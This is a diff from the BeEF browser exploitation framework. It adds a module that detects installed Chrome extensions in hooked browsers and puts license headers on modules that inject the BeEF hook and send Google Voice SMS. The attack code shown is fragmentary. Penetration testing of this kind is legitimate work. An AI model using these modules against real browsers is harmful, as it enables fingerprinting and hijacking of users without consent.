Normal file
1037
modules/chrome_extensions/get_chrome_extensions/command.js
Normal file
File diff suppressed because it is too large
Load Diff
26
modules/chrome_extensions/get_chrome_extensions/config.yaml
Normal file
26
modules/chrome_extensions/get_chrome_extensions/config.yaml
Normal file
@@ -0,0 +1,26 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
detect_chrome_extensions:
|
||||
enable: true
|
||||
category: "Chrome Extensions"
|
||||
name: "Get Chrome Extensions"
|
||||
description: "This module detects if any of the top 1,000 Chrome extensions are installed."
|
||||
authors: ["koto", "bcoles"]
|
||||
target:
|
||||
working: ["C"]
|
||||
not_working: ["All"]
|
||||
28
modules/chrome_extensions/get_chrome_extensions/module.rb
Normal file
28
modules/chrome_extensions/get_chrome_extensions/module.rb
Normal file
@@ -0,0 +1,28 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
# More info:
|
||||
# http://blog.kotowicz.net/2012/02/intro-to-chrome-addons-hacking.html
|
||||
#
|
||||
class Detect_chrome_extensions < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['extension'] = @datastore['extension']
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -1,3 +1,18 @@
|
||||
//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//
|
||||
beef.execute(function() {
|
||||
|
||||
var beefHookUri = "http://" + beef.net.host + ":" + beef.net.port + beef.net.hook;
|
||||
|
||||
@@ -1,3 +1,18 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
inject_beef:
|
||||
|
||||
@@ -1,3 +1,18 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
class Inject_beef < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
|
||||
@@ -1,3 +1,18 @@
|
||||
//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//
|
||||
beef.execute(function() {
|
||||
var to = "<%= @to %>";
|
||||
var message = "<%= @message %>";
|
||||
|
||||
@@ -1,3 +1,18 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
send_gvoice_sms:
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user